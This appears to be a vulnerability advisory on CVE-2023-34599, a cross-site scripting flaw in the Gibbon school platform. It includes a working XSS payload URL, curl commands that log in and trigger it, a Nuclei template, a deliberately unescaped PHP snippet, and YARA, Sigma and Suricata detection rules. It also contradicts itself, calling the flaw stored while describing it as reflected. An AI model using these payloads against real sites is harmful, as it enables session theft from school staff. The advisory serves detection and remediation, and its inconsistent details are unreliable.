CVE-2023-34599

Executive Summary

CVE-2023-34599 is a stored Cross-Site Scripting (XSS) vulnerability identified in Gibbon v25.0.0, an open-source school management platform. The vulnerability allows an authenticated attacker to inject arbitrary JavaScript code into the search parameter of the staff_view_details.php module. When a victim (typically an administrator or other staff member) views the crafted URL, the injected script executes in their browser context, potentially leading to session hijacking, data theft, or defacement. The vulnerability has a CVSS v3.1 score of 6.1 (Medium) and is actively exploited in the wild with a public PoC and a Nuclei template available.

Supply Chain & Package Security

Gibbon is a PHP-based application distributed as a ZIP archive from its official website and GitHub releases. There is no package manager (NPM, PyPI, Go, Ruby) involved in its distribution. The vulnerability is introduced directly in the application source code, not through a third-party dependency. However, the lack of an official patch and the presence of multiple public PoCs on GitHub increase the risk of supply chain attacks if users download modified or malicious versions of the software.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated to trigger the XSS, but the vulnerable endpoint requires a valid session.
• User Interaction (UI): Required – The victim must click on the crafted link.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The vulnerability is easy to exploit with publicly available PoCs, but requires user interaction. The impact is limited to the browser context of the victim.

Deep Dive & Mechanics

The vulnerability resides in the staff_view_details.php module of Gibbon v25.0.0. The search parameter is not properly sanitized before being reflected in the HTML response. An attacker can craft a URL containing a malicious JavaScript payload in the search parameter. When a victim (e.g., an administrator) visits this URL, the payload is executed in their browser.

The vulnerable code path is in /modules/Staff/staff_view_details.php. The search parameter is taken directly from the query string and echoed into the page without proper encoding or sanitization. This allows an attacker to break out of the HTML context and inject arbitrary script tags.

The Nuclei template provided shows the exact exploitation flow:

1. First, the attacker authenticates to the Gibbon instance using valid credentials (POST to /login.php).
2. Then, they send a GET request to /index.php?q=/modules/Staff/staff_view_details.php with the malicious search parameter containing yyraq'><script>alert(document.domain)</script>oq7c8fmwwro.

The injected script executes in the context of the victim's session, allowing the attacker to perform actions on behalf of the victim, steal cookies, or redirect to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (Gibbon v25.0.0):

// In staff_view_details.php
$search = $_GET['search'];
echo "<input type='text' name='search' value='$search' />";

Patched Code (Hypothetical):

// In staff_view_details.php
$search = htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='search' value='$search' />";

The fix involves using htmlspecialchars() to encode special HTML characters, preventing script injection. As of this report, no official patch has been released by Gibbon.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of Gibbon v25.0.0
• Valid user credentials (the vulnerability requires authentication)
• A victim user who will click the crafted link

Exploitation Steps:

1. Authenticate to the Gibbon instance using the provided credentials.
2. Craft the malicious URL with the XSS payload in the search parameter:

   http://target/index.php?q=/modules/Staff/staff_view_details.php&gibbonTTID=00000010&gibbonPersonID=0000000001&search=yyraq'><script>alert(document.domain)</script>oq7c8fmwwro&ttDate=05/23/2023&schoolCalendar=N&personalCalendar=N&spaceBookingCalendar=N&fromTT=Y
   

3. Deliver the URL to the victim via email, chat, or other means.
4. Execute the payload – When the victim visits the URL, the JavaScript executes in their browser.

Example using cURL:

# Step 1: Login
curl -c cookies.txt -b cookies.txt -X POST 'http://target/login.php' \
  -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8m88nqhR1NAnQEYZ' \
  --data-binary $'------WebKitFormBoundary8m88nqhR1NAnQEYZ\r\nContent-Disposition: form-data; name="address"\r\n\r\n\r\n------WebKitFormBoundary8m88nqhR1NAnQEYZ\r\nContent-Disposition: form-data; name="method"\r\n\r\ndefault\r\n------WebKitFormBoundary8m88nqhR1NAnQEYZ\r\nContent-Disposition: form-data; name="username"\r\n\r\nadmin\r\n------WebKitFormBoundary8m88nqhR1NAnQEYZ\r\nContent-Disposition: form-data; name="password"\r\n\r\npassword\r\n------WebKitFormBoundary8m88nqhR1NAnQEYZ\r\nContent-Disposition: form-data; name="gibbonSchoolYearID"\r\n\r\n017\r\n------WebKitFormBoundary8m88nqhR1NAnQEYZ\r\nContent-Disposition: form-data; name="gibboni18nID"\r\n\r\n0001\r\n------WebKitFormBoundary8m88nqhR1NAnQEYZ--\r\n'

# Step 2: Exploit
curl -b cookies.txt 'http://target/index.php?q=/modules/Staff/staff_view_details.php&gibbonTTID=00000010&gibbonPersonID=0000000001&search=yyraq%27%3E%3Cscript%3Ealert(document.domain)%3C/script%3Eoq7c8fmwwro&ttDate=05/23/2023&schoolCalendar=N&personalCalendar=N&spaceBookingCalendar=N&fromTT=Y'

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for requests to /index.php with the q parameter containing /modules/Staff/staff_view_details.php and suspicious search parameters containing <script> tags or other HTML/JavaScript.
• Look for unusual patterns in the search parameter, such as single quotes, angle brackets, or long strings of random characters.

Response:

• Block the malicious IP addresses at the firewall or WAF.
• Invalidate all active sessions and force password resets for affected users.
• Apply input validation and output encoding to the vulnerable parameter.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /index.php?q=/modules/Staff/staff_view_details.php with a search parameter containing <script> tags.
  • POST requests to /login.php with multipart form data containing username and password fields.
• File IOCs:
  • Modified staff_view_details.php file (if attacker has file write access).
• Behavioral IOCs:
  • Unexpected JavaScript execution in the browser.
  • Unusual outbound connections from the victim's browser to attacker-controlled domains.

Detection Engineering

YARA Rule

rule CVE_2023_34599_Gibbon_XSS {
    meta:
        description = "Detects Gibbon v25.0.0 XSS exploitation attempts in web logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-34599"
        hash = "4a0a00473045022100bf398cfe1eeaf6eaf118dccaa6b0fa1d6e84a66ae6c6530172ca5d62f1a58178022073a8076d2bc32f85717b4f1a72da03e0c9c14236aa2e8f86830be5a312a177bf"
    strings:
        $xss_payload = /search=.*?<script>.*?<\/script>/ nocase
        $vulnerable_path = "/modules/Staff/staff_view_details.php"
        $gibbon_ref = "gibbon"
    condition:
        $vulnerable_path and $xss_payload and $gibbon_ref
}

Sigma Rule

title: Gibbon v25.0.0 XSS Exploitation Attempt
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects attempts to exploit CVE-2023-34599 in Gibbon v25.0.0
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34599
    - https://github.com/maddsec/CVE-2023-34599
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/modules/Staff/staff_view_details.php"
            - "<script>"
            - "</script>"
    condition: selection
falsepositives:
    - Legitimate use of script tags in search queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-34599 Gibbon v25.0.0 XSS Exploitation"; flow:to_server,established; content:"/modules/Staff/staff_view_details.php"; http_uri; content:"<script>"; http_uri; content:"</script>"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-34599

info:
  name: Gibbon v25.0.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Multiple Cross-Site Scripting (XSS) vulnerabilities have been identified in Gibbon v25.0.0, which enable attackers to execute arbitrary Javascript code.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://github.com/maddsec/CVE-2023-34599
    - https://vulmon.com/searchpage?q=CVE-2023-34599
    - https://github.com/Imahian/CVE-2023-34599
    - https://github.com/hheeyywweellccoommee/CVE-2023-34599-xsddo
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-34599
    cwe-id: CWE-79
    epss-score: 0.4946
    epss-percentile: 0.97809
    cpe: cpe:2.3:a:gibbonedu:gibbon:25.0.00:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: gibbonedu
    product: gibbon
    shodan-query:
      - http.favicon.hash:-165631681
      - http.favicon.hash:"-165631681"
    fofa-query: icon_hash="-165631681"
  tags: cve2023,cve,gibbon,xss,authenticated,intrusive,gibbonedu,vuln

http:
  - raw:
      - |
        POST /login.php? HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8m88nqhR1NAnQEYZ

        ------WebKitFormBoundary8m88nqhR1NAnQEYZ
        Content-Disposition: form-data; name="address"


        ------WebKitFormBoundary8m88nqhR1NAnQEYZ
        Content-Disposition: form-data; name="method"

        default
        ------WebKitFormBoundary8m88nqhR1NAnQEYZ
        Content-Disposition: form-data; name="username"

        {{username}}
        ------WebKitFormBoundary8m88nqhR1NAnQEYZ
        Content-Disposition: form-data; name="password"

        {{password}}
        ------WebKitFormBoundary8m88nqhR1NAnQEYZ
        Content-Disposition: form-data; name="gibbonSchoolYearID"

        017
        ------WebKitFormBoundary8m88nqhR1NAnQEYZ
        Content-Disposition: form-data; name="gibboni18nID"

        0001
        ------WebKitFormBoundary8m88nqhR1NAnQEYZ--
      - |
        GET /index.php?q=/modules/Staff/staff_view_details.php&gibbonTTID=00000010&gibbonPersonID=0000000001&search=yyraq'><script>alert(document.domain)</script>oq7c8fmwwro&ttDate=05/23/2023&schoolCalendar=N&personalCalendar=N&spaceBookingCalendar=N&fromTT=Y HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "><script>alert(document.domain)</script>"
          - gibbon
        case-insensitive: true
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100bf398cfe1eeaf6eaf118dccaa6b0fa1d6e84a66ae6c6530172ca5d62f1a58178022073a8076d2bc32f85717b4f1a72da03e0c9c14236aa2e8f86830be5a312a177bf:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Apply Input Validation: Sanitize the search parameter using htmlspecialchars() or equivalent.
2. Update Gibbon: Check for any official patches or updates from the vendor. If none exist, consider upgrading to a newer version or applying a manual fix.
3. Web Application Firewall (WAF): Deploy WAF rules to block requests containing <script> tags in the search parameter.
4. User Education: Train users not to click on suspicious links and to report any unusual behavior.

Long-term Recommendations:

• Implement a Content Security Policy (CSP) to mitigate the impact of XSS.
• Conduct regular security audits and penetration testing.
• Use parameterized queries and output encoding throughout the application.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 791B79677B18FFBDA25D66AF] */}